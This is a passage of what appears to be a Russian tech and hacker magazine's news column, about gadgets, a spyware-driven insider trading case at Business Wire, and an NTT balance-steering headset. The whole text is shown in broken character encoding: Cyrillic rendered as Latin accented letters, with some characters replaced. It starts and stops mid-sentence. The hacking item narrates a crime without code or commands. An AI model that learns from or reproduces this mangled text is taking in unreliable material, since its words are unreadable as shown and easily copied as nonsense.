ïèñåì è óãðîç îò ÿáëî÷íèêîâ, îäíà-

êî ëþäåé, æåëàþùèõ ïðîñïîíñèðî-

âàòü äàííîå ìåðîïðèÿòèå, òîæå áû-

ëî ïðåäîñòàòî÷íî, è â ðåçóëüòàòå

òðåáóåìàÿ ñóììà áûëà âíåñåíà 

â äîâîëüíî îïåðàòèâíûå ñðîêè. Êàê

íè ñòðàííî, àâòîðû íå ïðèêàðìàíè-

ëè ñîáðàííûå äåíüãè, à ÷åðåç íåñ-

êîëüêî äíåé, êàê è îáåùàëè, ñ îñî-

áûì öèíèçìîì ÷åñòíî èñïîëíèëè

çàäóìàííîå. Ïðè ýòîì âåñü ïðîöåññ

ýêçåêóöèè çàñíÿëè íà âèäåîêàìåðó

è âûëîæèëè äëÿ ñâîáîäíîãî ñêà÷è-

âàíèÿ íà ñîáñòâåííîì ñàéòå. Íà

äàííûé ìîìåíò ýòó çàïèñü ñêà÷àëè

áîëåå 250000 ðàç. Êîíå÷íî, ñîçäà-

òåëè ñàéòà íå ñîáèðàþòñÿ îñòàíàâ-

ëèâàòüñÿ íà äîñòèãíóòîì, óæå çàïó-

ùåíû òðè àíàëîãè÷íûõ ïðîåêòà,

íàïðàâëåííûõ íà ðàçðóøåíèå èãðî-

âûõ ïðèñòàâîê íîâîãî ïîêîëåíèÿ:

Xbox 360, PlayStation 3 è Nintendo

Revolution. Êñòàòè, ê ìîìåíòó âûõî-

äà ýòîãî íîìåðà ñìåðòíûé ïðèãîâîð

óæå äîëæåí áûòü èñïîëíåí è äëÿ

ïðèñòàâêè îò Microsoft (íåîáõîäè-

ìûå $430 óæå âíåñåíû).

_symbiosis





ÕÀÊÅÐÛ 
ÍÀ ÔÈÍÀÍÑÎÂÎÉ
ÁÈÐÆÅ

Êàê ìîæíî ðàçáîãàòåòü, åñ-
ëè òû áàíêèð è íåïëîõî ñî-
îáðàæàåøü â êîìïüþòåð-
íîé áåçîïàñíîñòè? Ìîæíî
óêðàñòü ó ñâîåãî æå áàíêà
ìèëëèîí áàêñîâ, íî òåáÿ
ïîéìàþò è ïîñàäÿò íà ñëå-
äóþùèé äåíü. Ìîæíî ïðè-
òîðãîâûâàòü èíôîé, íî òî-
æå íåáåçîïàñíî. Êòî çíàåò,
â êàêèå ðóêè ýòà èíôà ïîïà-
äåò, è íå ñäàñò ëè òåáÿ ïîêó-

ïàòåëü. Ýñòîíñêèå áàíêèðû Îëèâåð Ïååê è Êðèñòèàí Ëåïèê ïðèäóìàëè
ñâîé ñïîñîá. Âîñïîëüçîâàâøèñü áàíêîâñêèì êîìïüþòåðîì LHV, îíè óñ-
òàíîâèëè æó÷îê íà ñàéòå Business Wire è ñòàëè æäàòü. Ñòîèò ñêàçàòü, ÷òî
BW � ýòî öåíòðàëüíûé ïîðòàë, íà êîòîðûé ñòåêàþòñÿ ïðåññ-ðåëèçû è
èíôà îá àêöèÿõ ðàçíûõ êîìïàíèé ñî âñåãî ìèðà. Âñå ýòî ïðèõîäèò â çà-
øèôðîâàííîì âèäå, îáðàáàòûâàåòñÿ ñîòðóäíèêàìè ñàéòà è çàòåì îá-
íàðîäóåòñÿ. BW ÿâëÿåòñÿ îñíîâíûì èñòî÷íèêîì èíôû äëÿ áðîêåðîâ âå-
äóùèõ áèðæ, íà îñíîâå äàííûõ îòòóäà âåäåòñÿ àíàëèç ñòîèìîñòè òåõ
èëè èíûõ àêöèé. Íî âåðíåìñÿ ê íàøèì õàêåðàì. Øïèîíñêàÿ ïðîãà àâòî-
ìàòè÷åñêè ïîäáèðàëà ïàðîëè íà çàêðûòûå ó÷àñòêè ñåðâåðà è îòñûëàëà
âñå ïîëó÷åííûå äàííûå äâóì áàíêèðàì. Ïðåèìóùåñòâà äàæå â 2 ÷àñà
íà ôîíäîâîé áèðæå äîñòàòî÷íî, ÷òîáû çàðàáîòàòü áîëüøèå äåíüãè. 
È ýñòîíñêèå ïàðíè âðåìåíè íå òåðÿëè. Âñåãî çà 10 ìåñÿöåâ íà áèðæå-
âûõ èãðàõ ñ ïîìîùüþ âçëîìàííîé èíôû, Îëèâåðó è Êðèñòèàíó óäàëîñü
çàðàáîòàòü ïî÷òè 8 ìèëëèîíîâ äîëëàðîâ. Íî ñëàäêàÿ æèçíü äîëãî ïðî-
äîëæàòüñÿ íå ìîãëà. Â ïðîøëîì ìåñÿöå ïàðíåé âû÷èñëèëè, è òåïåðü
èñê ïî èõ äåëó ïðîõîäèò â íüþ-éîðêñêîì ñóäå.

ÄÂÀ ØÀÃÀ ÂÏÅÐÅÄ
Â ïîñëåäíèå íåñêîëüêî ëåò â íîâîñòÿõ íå ðàç ïðîñêàêèâàëè ñîîáùåíèÿ îá
èçîáðåòåíèè óñòðîéñòâ, ïîçâîëÿþùèõ äèñòàíöèîííî óïðàâëÿòü, íàïðèìåð,
òàðàêàíàìè èëè ìûøàìè. Íî íèêòî è íå ïîäîçðåâàë, ÷òî ìàíèïóëèðîâàòü ÷å-
ëîâåêîì îêàæåòñÿ íè÷óòü íå ñëîæíåå, ïðè ýòîì ìîæíî áóäåò äàæå îáîéòèñü
áåç õèðóðãè÷åñêîãî âìåøàòåëüñòâà è èìïëàíòèðîâàíèÿ â îðãàíèçì âñÿêèõ
÷èïîâ. Çà äàííîå èçîáðåòåíèå îòâåòñòâåííà ÿïîíñêàÿ êîðïîðàöèÿ NTT
(Nippon Telegraph & Telephone). Óñòðîéñòâî ïðåäñòàâëÿåò ñîáîé îãðîìíûå
«íàóøíèêè», íàäåâàåìûå íà ïîäîïûòíîãî, è ïóëüò äèñòàíöèîííîãî óïðàâëå-
íèÿ (êàê îò ãîíî÷íîé ìàøèíêè). Åñòåñòâåííî, çàñòàâèòü ïîäîïûòíîãî ñïëÿ-
ñàòü äæèãó íå óäàñòñÿ, ìîæíî ëèøü óïðàâëÿòü åãî äâèæåíèåì (âïåðåä � 
íàçàä � âïðàâî � âëåâî). Åñëè íà ïóëüòå â ëþáîì íàïðàâëåíèè îòêëîíèòü
äæîéñòèê, òî «íàóøíèêè» ïîøëþò åäâà çàìåòíûé ýëåêòðè÷åñêèé èìïóëüñ â
îáëàñòü óõà (ïðèìåðíî òóäà, ãäå íàõîäèòñÿ âåñòèáóëÿðíûé àïïàðàò). Îäíàêî
ìîçã èñòîëêóåò ýòîò èìïóëüñ íå êàê ëåãêèé óêîë, à êàê ñèãíàë îò âåñòèáóëÿð-
íîãî àïïàðàòà, ÷òî òåëî ïîòåðÿëî ðàâíîâåñèå è íà÷èíàåò ïàäàòü. Â ýòîò ìî-
ìåíò ÷åëîâåê íà ñàìîì äåëå ïîòåðÿåò ðàâíîâåñèå è, ÷òîáû íå óïàñòü, áóäåò

âûíóæäåí ñäåëàòü øàã â ñòî-
ðîíó (êàê ðàç òóäà, êóäà áûë
íàïðàâëåí äæîéñòèê). Êàê
ïîêàçàëè îïûòû, íå ïîä÷è-
íèòüñÿ ïðèêàçó àáñîëþòíî
íåðåàëüíî, èíà÷å ïðîñòî óïà-
äåøü. Çàÿâëåíî, ÷òî óñòðîé-
ñòâî  ïðåäíàçíà÷åíî äëÿ ïðè-
äàíèÿ ðåàëèñòè÷íîñòè âèðòó-
àëüíûì èãðàì, íî ãäå îíî
íàéäåò ñâîå îêîí÷àòåëüíîå
ïðèìåíåíèå ïîêà íå èçâåñò-
íî. Êñòàòè, íîâèíêà åùå íå
ïîëó÷èëà îôèöèàëüíîãî
ïîäòâåðæäåíèÿ î áåçâðåä-
íîñòè äëÿ çäîðîâüÿ, ïîýòîìó
î ïîñòóïëåíèè äåâàéñà â ïðî-
äàæó ãîâîðèòü åùå ðàíî.
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ÌÓÇÛÊÀËÜÍÛÉ 
ÑÈËÈÊÎÍ

Íåêîòîðûå ëþäè íàñòîëüêî ïðàãìàòè÷íû, ÷òî ñòðåìÿòñÿ íàéòè ïðàêòè÷åñ-
êîå ïðèìåíåíèå ñîâåðøåííî áåñïîëåçíûì íà ïåðâûé âçãëÿä âåùàì.
Âçÿòü õîòÿ áû ñèëèêîí, äà-äà, ñàìûå îáû÷íûå ñèëèêîíîâûå èìïëàíòàíòû
äëÿ óâåëè÷åíèÿ ðàçìåðà áþñòà. Êàçàëîñü áû, áåñòîëêîâåå âåùè ñëîæíî
íàéòè, íî è çäåñü íå âñå áåçíàäåæíî. Ian Pearson � èññëåäîâàòåëü èç êîì-
ïàíèè BT Laboratories � ïðåäëîæèë âñòðîèòü  ñèëèêîíîâûå ïðîòåçû â
MP3-ïëååð! Ïðè÷åì â îäíó ãðóäü áóäåò èìïëàíòèðîâàòüñÿ ñàì ïëååð, à â
äðóãóþ � ÷èï äëÿ õðàíåíèÿ äàííûõ. Îáùàòüñÿ æå äðóã ñ äðóãîì è ñ âíåø-
íèì ìèðîì îíè áóäóò ïî òåõíîëîãèè Bluetooth. Ñàìî ñîáîé, îáà ìîäóëÿ áó-
äóò ñâåðõìèíèàòþðíûìè, òàê ÷òî íà îùóïü âñå äîëæíî îñòàòüñÿ òàêèì æå
ïðèÿòíûì, êàê ïðåæäå. Â ïðèíöèïå, ïðîåêò ïëàíèðóåòñÿ ðåàëèçîâàòü íå
ðàíüøå ÷åì ÷åðåç 15 ëåò, è áîëåå äåòàëüíàÿ èíôîðìàöèÿ ïîêà íå ðàçãëà-
øàåòñÿ, ïîýòîìó îñòàëüíûå ïîäðîáíîñòè ïðèõîäèòñÿ äîìûñëèâàòü çà àâ-
òîðà. Âî-ïåðâûõ, íå ïîíÿòíî, êàêèì îáðàçîì ìîäóëè áóäóò ïîäçàðÿæàòü-
ñÿ, î÷åâèäíî, ÷òî íèêàêèå âíåøíèå ðàçúåìû íå ïðèåìëåìû, òàê ÷òî ìîæ-
íî áóäåò èñïîëüçîâàòü ïîïóëÿðíûé íûíå èíäóêöèîííûé ìåòîä èëè ñòàðûé
ïðîâåðåííûé ìåòîä âñòðÿõèâàíèÿ :). Òàêæå äëÿ ïðîñëóøèâàíèÿ ìóçûêè
ïîòðåáóþòñÿ áåñïðîâîäíûå íàóøíèêè (ïåðåäà÷à âèáðàöèé ÷åðåç êîñòè è
ãðîìêîãîâîðèòåëè îòìåòàþòñÿ), íó è ïóëüò óïðàâëåíèÿ. Ìíå âîò òîëüêî èí-
òåðåñíî, ïîñëå òàêîãî àïãðåéäà äåâóøêà áóäåò ñ÷èòàòüñÿ êèáîðãîì?

ÒÅÐÀÁÀÉÒÍÛÉ
ÊÎÍÑÒÐÓÊÒÎÐ
Åñëè òû íå óñïåë â äåòñòâå íàèãðàòüñÿ âî âñÿêèå êîíñòðóêòîðû, òî íå âñå åùå
ïîòåðÿíî. Îäíàêî íå îáÿçàòåëüíî ðûòüñÿ íà ÷åðäàêå â ïîèñêàõ ïûëüíîãî
ìåøêà ñî ñòàðûìè èãðóøêàìè, ñåé÷àñ ìîæíî ïðèäóìàòü è áîëåå âûñîêîòåõ-
íîëîãè÷íûå ðàçâëå÷åíèÿ. Òàê, íàïðèìåð, äîâîëüíî èçâåñòíàÿ çà áóãðîì
ôèðìà LaCie íåäàâíî àíîíñèðîâàëà ëèíåéêó âíåøíèõ æåñòêèõ äèñêîâ LaCie
Brick, âûïîëíåííûõ â ôîðìå, ïîëíîñòüþ ïîâòîðÿþùåé äåòàëüêè LEGO, òîëü-
êî ãèïåðòðîôèðîâàííîãî ðàçìåðà. Íà âûáîð ïðåäîñòàâëÿþòñÿ âèíòû òðåõ
öâåòîâ (áåëûå, ñèíèå è êðàñíûå) è òðåõ ðàçëè÷íûõ ðàçìåðîâ (160 Ãá, 250 Ãá
è 500 Ãá). Óâû, îñòàâøèåñÿ õàðàêòåðèñòèêè íå ñîîáùàþòñÿ, íî åñòü íàäåæ-
äà, ÷òî ñ ýòèì âñå â ïîðÿäêå (FireWire è âñå òàêîå). Âïðî÷åì, ñàìûé øèê â
òîì, ÷òî áëîêè ìîæíî ñîåäèíÿòü äðóã ñ äðóãîì òî÷íî òàê æå, êàê â îáû÷íîì
LEGO. Òàêèì îáðàçîì, èç ïàðû äåñÿòêîâ æåñòêèõ äèñêîâ ìîæíî ïîñòðîèòü
ñòåíêó èëè äàæå íåáîëüøîé äîìèê. Áûëî áû âîîáùå âåëèêîëåïíî, åñëè áû
ïðîèçâîäèòåëè ðàçâèëè èäåþ è âûïóñòèëè áëîêè äðóãîé ôîðìû è ñ äðóãîé
ôóíêöèîíàëüíîñòüþ. Åäèíñòâåííîå, ÷òî ïîêà îãðàíè÷èâàåò ôàíòàçèþ þíîãî
àðõèòåêòîðà, � öåíà. Âèí÷åñòåð áóäåò ñòîèòü îò 119.99 äî 399.99 àìåðèêà-
íñêèõ ïðåçèäåíòîâ (â çàâèñèìîñòè îò âìåñòèìîñòè).
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ÌÎÙÍÅÉØÅÅ ÂÈÄÅÎ
Åñëè äëÿ òåáÿ ãëàâíûì â êîìïüþòåðå ÿâëÿåòñÿ ìîùü âèäåîïëàòû è êà÷å-
ñòâî êàðòèíêè, êîòîðóþ îíà âûäàåò, òî òåáå íóæíî ñðî÷íî íàéòè îêîëî
500 äîëëàðîâ, ÷òîáû ïðèîáðåñòè óñòðîéñòâî Leadtek WinFast PX7800
GTX TDH MyVIVO Extreme. Ïî÷åìó? Äà ïîòîìó, ÷òî îíî ïîñòðîåíî íà ïîñ-
ëåäíåì è ñàìîì ñêîðîñòíîì ÷èïñåòå nVidia (GeForce 7800 GTX) è îñíà-
ùåíî 512 Ìá ïàìÿòè GDDR3 (â BGA-óïàêîâêå). Åñòåñòâåííî, ÷òî ýòà ïëà-
òà èìååò èíòåðôåéñ PCI-Express è ïîääåðæèâàåò òåõíîëîãèþ SLI (òóò,
ïðàâäà, ñòîèò îòìåòèòü, ÷òî ïàðà ýòèõ ïëàò ïî öåíå ðàâíÿåòñÿ ñòîèìîñòè
íåïëîõîãî êîìïüþòåðà). Òàêæå ïîääåðæèâàþòñÿ âñå ôèðìåííûå ãðàôè-
÷åñêèå òåõíîëîãèè nVidia, òàêèå êàê Ultra Shadow II è óæå ÷åòâåðòûå âåð-
ñèè CineFX è IntelliSample. Õàðàêòåðèñòèêè ó ïëàòû òàêèå: 256-áèòíàÿ øè-
íà ïàìÿòè, ÷àñòîòà ÿäðà � 550 ÌÃö, ïàìÿòè � 1700 ÌÃö. Äëÿ ïîäêëþ÷å-
íèÿ ê ðàçëè÷íûì óñòðîéñòâàì åñòü äâà ïîðòà DVI è ãíåçäî VIVO.

LG ÄËß ÄÎÌÀ 
È ÎÔÈÑÀ
Êîìïàíèÿ LG âûïóñòèëà íîóòáóê, îðèåíòèðîâàííûé íà ïîëüçîâàòå-
ëåé, âûáèðàþùèõ óñòðîéñòâà ïî ñîîòíîøåíèþ öåíà/êà÷åñòâî. Óñòðîé-
ñòâî LE50 ñòîèò îêîëî 1000 äîëëàðîâ, èìåÿ ïðè ýòîì õîðîøèå õàðàê-
òåðèñòèêè. Îí îáëàäàåò 15-äþéìîâûì ýêðàíîì ñ ðàçðåøåíèåì XGA,
ïðîöåññîðîì Intel Celeron M, à åãî ñèñòåìíàÿ ïëàòà áàçèðóåòñÿ íà
÷èïñåòå ATI RS400MD, êîòîðûé åùå è îáëàäàåò âñòðîåííûì ãðàôè-
÷åñêèì àäàïòåðîì (ATI Radeon 200M). Ñîáñòâåííîé âèäåîïàìÿòè îí
íå èìååò, íî äëÿ íåãî èç ÎÇÓ ìîæåò áûòü âûäåëåíî äî 128 Ìá. Áàçî-
âàÿ êîìïëåêòàöèÿ LE50 âûãëÿäèò ñëåäóþùèì îáðàçîì: 256 V, îïåðà-
òèâíîé ïàìÿòè DDR2 533, 40 Ãá HDD, îïòè÷åñêèé ïðèâîä DVD Super
Multi (ðàáîòàåò òàêæå ñ äâóõñëîéíûìè äèñêàìè), ÷åòûðåõôîðìàòíûé
êàðäðèäåð, âîñüìèêàíàëüíûé çâóêîâîé êîäåê, ïîëíûé íàáîð íåîáõî-
äèìûõ ïîðòîâ è àäàïòåð Wi-Fi. Ìàññà íîóòáóêà � 2,7, ðàçìåðû �
329õ274õ30,5. Îáåùàííîå âðåìÿ àâòîíîìíîé ðàáîòû � 3,5 ÷àñà.

ASUS ÍÅ ÄÀÑÒ
ÏÎÒÅÐßÒÜÑß
Äëÿ ïðîäâèíóòûõ ïóòåøåñòâåííèêîâ è òåõ, êòî õîðîøî çíàåò î ñëàâå Ñó-
ñàíèíà, íî íå õî÷åò ïîïàñòü â òàêóþ æå ñèòóàöèþ, ïðèøëà õîðîøàÿ íî-
âîñòü îò êîìïàíèè ASUS, êîòîðàÿ çàïóñòèëà â ïðîèçâîäñòâî äâå ìîäå-
ëè êàðìàííûõ ÏÊ (MyPal A636 è A632), îñíàùåííûõ ôóíêöèÿìè GPS.
Äëÿ ÷åòêîé ñâÿçè ñî ñïóòíèêîì ïðèñóòñòâóåò âûíîñíàÿ àíòåííà (25õ25 ìì,
õðàíèòñÿ â êîðïóñå ÊÏÊ), à èçîáðàæåíèå íà ýêðàíå ìîæíî ðàñïîëîæèòü
êàê âåðòèêàëüíî, òàê è ãîðèçîíòàëüíî.  Îñíàùåííûå ïðîöåññîðîì Intel
XScale416 ÌÃö è ÎÑ Windows Mobile 5.0, ASUS A636 è A632 íå ïîòåðÿ-
ëè îáû÷íûõ ôóíêöèé ÊÏÊ, âêëþ÷àÿ çàïóñê ïðèëîæåíèé Microsoft Office,
âñòðîåííûå ñðåäñòâà ñâÿçè Wi-Fi (ìîäåëü A636), Bluetooth, IrDA, à òàêæå
ïîðò USB äëÿ ïîäêëþ÷åíèÿ äîïîëíèòåëüíûõ óñòðîéñòâ. Â äîïîëíåíèå ê
128 Ìá âñòðîåííîé ïàìÿòè Flash ROM è 64 Ìá SDRAM, A636/632 òàêæå
ïîääåðæèâàþò êàðòû ïàìÿòè (ASUS A636 èìååò ñëîò SD, à ASUS A632
ðàáîòàåò òàêæå ñ êàðòàìè miniSD). Âåñ óñòðîéñòâ ñîñòàâëÿåò 186 ã.

ÑÒÈËÜÍÛÉ 
ÏËÅÅÐ IRIVER
Åñëè òû íàõîäèøüñÿ â çàìåøàòåëüñòâå è íå çíàåøü, ÷òî ïîäàðèòü
ñâîåé äåâóøêå íà ïðåäñòîÿùèå ïðàçäíèêè, òî òåáå ïîìîæåò íîâèíêà
îò êîìïàíèè IRIVER � ïëååð-êóëîí N11, äåêîðèðîâàííûé êðèñòàëëîì
Swarovsky. Ýòî óñòðîéñòâî ÿâëÿåòñÿ ëîãè÷åñêèì ïðîäîëæåíèåì èçäå-
ëèÿ N10 � ïåðâîãî â ñåðèè ïëååðîâ-êóëîíîâ. Íîâûé N11 ïîääåðæèâà-

åò âîñïðîèçâåäåíèå ôîð-
ìàòîâ MP3, WMA, ASF è
OGG Vorbis, à òàêæå îñ-
íàùåí FM-ïðèåìíèêîì.
Äîïîëíèòåëüíóþ ôóíêöè-
îíàëüíîñòü îáåñïå÷èâàþò
÷àñû, áóäèëüíèê, òàéìåð
è âñòðîåííûé äèêòîôîí,
ïîääåðæèâàþùèé òåõíî-
ëîãèè SAD (îñòàíàâëèâà-
åò çàïèñü ïðè îòñóòñòâèè
çâóêà) è AGC (ñæàòèå äëÿ
óìåíüøåíèÿ îáúåìà ôàé-
ëà). Ïðîèçâîäèòåëü îáå-
ùàåò 14 ÷àñîâ íåïðåðûâ-
íîé ðàáîòû è ïîëíóþ ïå-
ðåçàðÿäêó áàòàðåè çà 1,5
÷àñà. Ãàáàðèòû êóëîíà íå-
âåëèêè: 27,2õ49,8õ13,3 ìì
è âåñ 22 ã. Ìû äóìàåì, ÷òî
ýòî õîðîøèé è ôóíêöèî-
íàëüíûé ïîäàðîê.
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ÓÌÍÛÉ ÁÅÉÄÆ
Âî ìíîãèõ êðóïíûõ ôèð-
ìàõ âñåõ ñîòðóäíèêîâ
çàñòàâëÿþò êàæäûé äåíü
íîñèòü íå òîëüêî ïèäæàê,
áðþêè, áåëóþ ðóáàøêó,
ãàëñòóê, íî åùå è äóðàö-
êèé áåéäæèê ñ ôîòîãðà-
ôèåé è ïðî÷èìè ëè÷íûìè
äàííûìè. È åñëè ñ äåëî-
âîé ôîðìîé âñå ìîãóò
ñìèðèòüñÿ, òî ïîñëåäíÿÿ
äåòàëü íåêîòîðûõ ïðîñòî
âûâîäèò èç ñåáÿ. Âîç-
ìîæíî, ñìåíèòü èõ ãíåâ
íà ìèëîñòü ñìîæåò óíè-
êàëüíûé èíòåëëåêòóàëü-

íûé áåéäæ îò êîìïàíèè Iqua. Îò ñòàíäàðòíîé êàðòî÷êè íà âåðåâî÷êå
åãî, ïðåæäå âñåãî, îòëè÷àåò íàëè÷èå âñòðîåííîé Bluetooth-ãàðíèòóðû:
íà óðîâíå ðòà íà øíóðêå êðåïèòñÿ ìèíèàòþðíûé ïåðåäàò÷èê ñ ìèêðî-
ôîíîì, îò êîòîðîãî íà ïðîâîäå èäåò íåáîëüøîé íàóøíèê. Ïðè ýòîì âåñ
áåéäæà ïðàêòè÷åñêè íå èçìåíèëñÿ � âñå âìåñòå íå áîëåå 45 ã. Iqua
Smart Badge ñîâìåñòèì ïðàêòè÷åñêè ñî âñåìè ìîáèëüíèêàìè, ïîääåð-
æèâàþùèìè Bluetooth, è ñïîñîáåí ïðîðàáîòàòü áåç ïîäçàðÿäêè 40 ÷à-
ñîâ â ðåæèìå ðàçãîâîðà è öåëûõ 25 äíåé � â ðåæèìå îæèäàíèÿ. È, êî-
íå÷íî, äåâàéñ èñïîëíåí â áåçóïðå÷íî ñòèëüíîì äèçàéíå, òàê ÷òî ÿâíî
íàéäåòñÿ íåìàëî æåëàþùèõ çàïîëó÷èòü åãî â ñâîå ðàñïîðÿæåíèå.

VROOOOOOOOM
Ìå÷òàåøü, ÷òîáû òâîé æå-
ëåçíûé êîíü ìîã âçðåâåòü
òî÷íî òàê æå, êàê ôîðñèðî-
âàííûé Shelby Mustang?
Åñëè òû óæå ïåðåïðîáîâàë
âñå ñïîñîáû, è âñå ðàâíî
ðåâ ìîòîðà íàïîìèíàåò
çâóêè ïðè íåñâàðåíèè æå-
ëóäêà, òî íà ïîìîùü òåáå
ïðèäåò óñòðîéñòâî ïîä íàç-
âàíèåì VroomBox. Äàííûé
äåâàéñ ñîñòîèò èç ïðîöåñ-
ñîðà çâóêîâûõ ýôôåêòîâ,
ïóëüòà äèñòàíöèîííîãî óï-
ðàâëåíèÿ è ìîùíûõ äèíà-
ìèêîâ, óñòàíàâëèâàåìûõ
ïîä äíèùåì àâòîìîáèëÿ.
×åðåç ïóëüò íàñòðàèâàåòñÿ
çâó÷àíèå: êàêîé ìàøèíå
íåîáõîäèìî ñèìóëèðîâàòü,
êàêîé âîñïðîèçâîäèòü ýô-
ôåêò è íà êàêîé ãðîìêîñòè.
Èçíà÷àëüíî íà âûáîð ïðåä-
ëàãàþòñÿ ãîëîñîâûå äàí-

íûå ïÿòíàäöàòè ìàøèíû, íî ÷åðåç USB íà VroomBox ìîæíî çàêà÷àòü
íàñòðîéêè åùå äëÿ òðèäöàòè äîïîëíèòåëüíûõ ñóïåðêàðîâ. Äëÿ êàæäîé
ìàøèíû ïðåäóñìîòðåí ñîáñòâåííûé íàáîð çâóêîâûõ ýôôåêòîâ (òàêèõ
êàê ðåâ ìîòîðà, ðåçêîå òîðìîæåíèå, çàêèñü àçîòà è ìíîãîå äðóãîå).
Ïðèìå÷àòåëüíî, ÷òî íå îáÿçàòåëüíî êàæäûé ðàç íàæèìàòü íà êíîïêó,
êîãäà íóæíî âîñïðîèçâåñòè êàêîé-ëèáî çâóê � óñòðîéñòâî ñïîñîáíî
ñàìîñòîÿòåëüíî îïðåäåëÿòü îáîðîòû äâèãàòåëÿ è ïî íèì ïîäáèðàòü
òðåáóåìûé çâóêîâîé ýôôåêò. Îáîéäåòñÿ äàííîå ðàçâëå÷åíèå â 159
áàêñîâ, ïëþñ åùå ïî 5 çà çâóêîâûå ôàéëû îò êàæäîé äîïîëíèòåëüíîé
ìàøèíû. Åñëè òåáå æàëêî ðàññòàâàòüñÿ ñ ýòîé ñóììîé, òî ìîæíî ïðè-
îáðåñòè áîëåå ñêðîìíîå ïðèñïîñîáëåíèå � òî æå ñàìîå, òîëüêî îñ-
íîâíîé áëîê ïðåäíàçíà÷åí äëÿ ïðèêóðèâàòåëÿ è êàññåòíûé àäàïòåð �
äëÿ ìàãíèòîëû. Ñ íèì ìîæíî áóäåò âîñïðîèçâîäèòü çâóêè òîëüêî ÷åðåç
àêóñòèêó â ñàëîíå, íî åñëè ïîñòàâèòü äèíàìèêè ïîìîùíåå è äåðæàòü
ôîðòî÷êè îòêðûòûìè, òî ýôôåêò áóäåò òîò æå.

ÌÅ×ÒÀ ÔÅÒÈØÈÑÒÀ
Êî ìíîãèì ìîäíûì hi-tech âåùèöàì óæå äàâíî ïðèêëåèëîñü ñëîâî sexy, è,
êîíå÷íî æå, ïëååð iPod çäåñü â ïåðâûõ ðÿäàõ. Òîëüêî äî íåäàâíèõ ïîð âñå
ýòî áûëî âåñüìà óñëîâíî, è ëèøü òåïåðü êîíòàêò ñ ëþáèìûì óñòðîéñòâîì
ìîæåò ñòàòü âïîëíå ðåàëüíûì. Èòàê, âñòðå÷àéòå � iBuzz � óíèêàëüíûé
âèáðàòîð äëÿ iPod! Åñòåñòâåííî, óñòðîéñòâî ïîçèöèîíèðóåòñÿ äëÿ äåâó-
øåê, íî, ÿ äóìàþ, íè÷òî íå ìåøàåò åãî èñïîëüçîâàòü â êà÷åñòâå õì� óíè-
âåðñàëüíîãî ìàññàæåðà. Ðàáîòàåò âñå äîâîëüíî ïðîñòî: â ðàçúåì íàóøíè-
êîâ ïëååðà âñòàâëÿåòñÿ ðàçâåòâèòåëü, ê íåìó ïîäêëþ÷àþòñÿ îáû÷íûå íà-
óøíèêè è îñíîâíîé áëîê iBuzz, ê êîòîðîìó íà ïðîâîäêå ïðèñîåäèíåí ñàì
âèáðàòîð. Åñëè íà ïëååðå íàæàòü play, òî äåâàéñ íà÷íåò ðàäîâàòü õîçÿéêó
ïðèÿòíûìè âèáðàöèÿìè, ñëåäóþùèìè â òàêò ìóçûêå. Çàÿâëåíî, ÷òî iBuzz
ñîâìåñòèì òîëüêî ñ ïëååðàìè ôèðìû Apple, îäíàêî ÿ íå âèæó ïðè÷èí, ïî-
÷åìó áû îí ìîã íå ñðàñòèñü ñ ïðîèãðûâàòåëÿìè îò äðóãèõ ïðîèçâîäèòåëåé.
Êñòàòè, ÷òîáû äåâàéñ áûñòðî íå íàñêó÷èë, â êîìïëåêòå ñ íèì èäóò íåñ-
êîëüêî îðèãèíàëüíûõ ñìåííûõ íàñàäîê. È äàæå åñëè ïîä ðóêîé íå îêàçà-
ëîñü ïëååðà � òîæå íå áåäà, âñåãäà ìîæíî âûáðàòü îäèí èç ñåìè ïðåäóñ-
òàíîâëåííûõ ðåæèìîâ äîñòàâëåíèÿ óäîâîëüñòâèé. Ïîêà iBuzz åùå íå ïîñ-
òóïèë â ïðîäàæó, íî íà íåãî óæå ìîæíî ñäåëàòü ïðåäâàðèòåëüíûé çàêàç,
ðàññòàâøèñü ñî âïîëíå àäåêâàòíîé ñóììîé â 29.99 åâðî.

ÏÎÁÅÄÈ ÑÂÎÉ ÁÎÍÑÀÉ
Òû ñîãëàñåí, ÷òî â êîìïüþòåð-
íûå èãðû ãîðàçäî èíòåðåñíåå
ñðàæàòüñÿ ñ æèâûì ïðîòèâíè-
êîì, íåæåëè ñ áåçäóøíûì
ýëåêòðîííûì áîëâàíîì? Òîëü-
êî ýòî äàëåêî íå âñåãäà óäàåò-
ñÿ: Èíòåðíåò ìîæåò áûòü íå-
äîñòóïåí, à â îêðóãå � íè îä-
íîãî èãðîâîãî êëóáà. Íî íå
ñòîèò ðàññòðàèâàòüñÿ, ìî-
æåøü âûáðàòü ñåáå â êà÷åñòâå
îïïîíåíòà, íàïðèìåð, êàêòóñ

èëè ëþáîå äðóãîå ðàñòåíèå, îáèòàþùåå íåïîäàëåêó íà ïîäîêîííèêå, ïðè-
÷åì äëÿ ýòîãî äàæå íå ïðèäåòñÿ ãëîòàòü íèêàêèõ ñèëüíîäåéñòâóþùèõ ãàë-
ëþöèíîãåíîâ. Â ýòîì òåáå ïîìîæåò óñòðîéñòâî, êîòîðîå èçîáðåë àíãëèéñ-
êèé õóäîæíèê Dan Young. Õèòðîóìíûé äåâàéñ ñïîñîáåí ïðåîáðàçîâûâàòü
èìïóëüñû ðàñòåíèé â ñèãíàëû, ïîíÿòíûå êîìïüþòåðó, à çàòåì ïåðåäàâàòü
èõ íà ïîñëåäîâàòåëüíûé ïîðò. Êîíå÷íî, â Quake ñ áîíñàåì ïîãîíÿòü íå
óäàñòñÿ, íî âçàìåí ìîæíî ñêà÷àòü ïàðó ïðîñòåíüêèõ èãð, ñïåöèàëüíî àäàï-
òèðîâàííûõ äëÿ ýòèõ öåëåé. Â îáåèõ èãðàõ ãëàâíûé ãåðîé � ëåñîðóá, êîòî-
ðûé ñðàæàåòñÿ ñ ïîë÷èùàìè íàñòóïàþùèõ äåðåâüåâ, òîëüêî â ïåðâîé áèò-
âà ïðîèñõîäèò íà îòêðûòûõ ïðîñòîðàõ, à âî âòîðîé � â ëàáèðèíòå (òàê æå
êàê â çíàìåíèòîì Pacman'å). Ñàìî ñîáîé, ëåñîðóáîì óïðàâëÿåøü òû, à äå-
ðåâüÿìè � ðàñòåíèå. Êñòàòè, àâòîð óòâåðæäàåò, ÷òî èíòåðåñíåå âñåãî áóäåò
èãðàòü, åñëè ãîðøîê ñ ðàñòåíèåì âûíåñòè íà ñâåæèé âîçäóõ è óñåñòüñÿ ðÿ-
äîì ñ íîóòáóêîì. Âîò òîëüêî íè â ÷åì íåïîâèííîå ðàñòåíèå æàëêî, áîþñü,
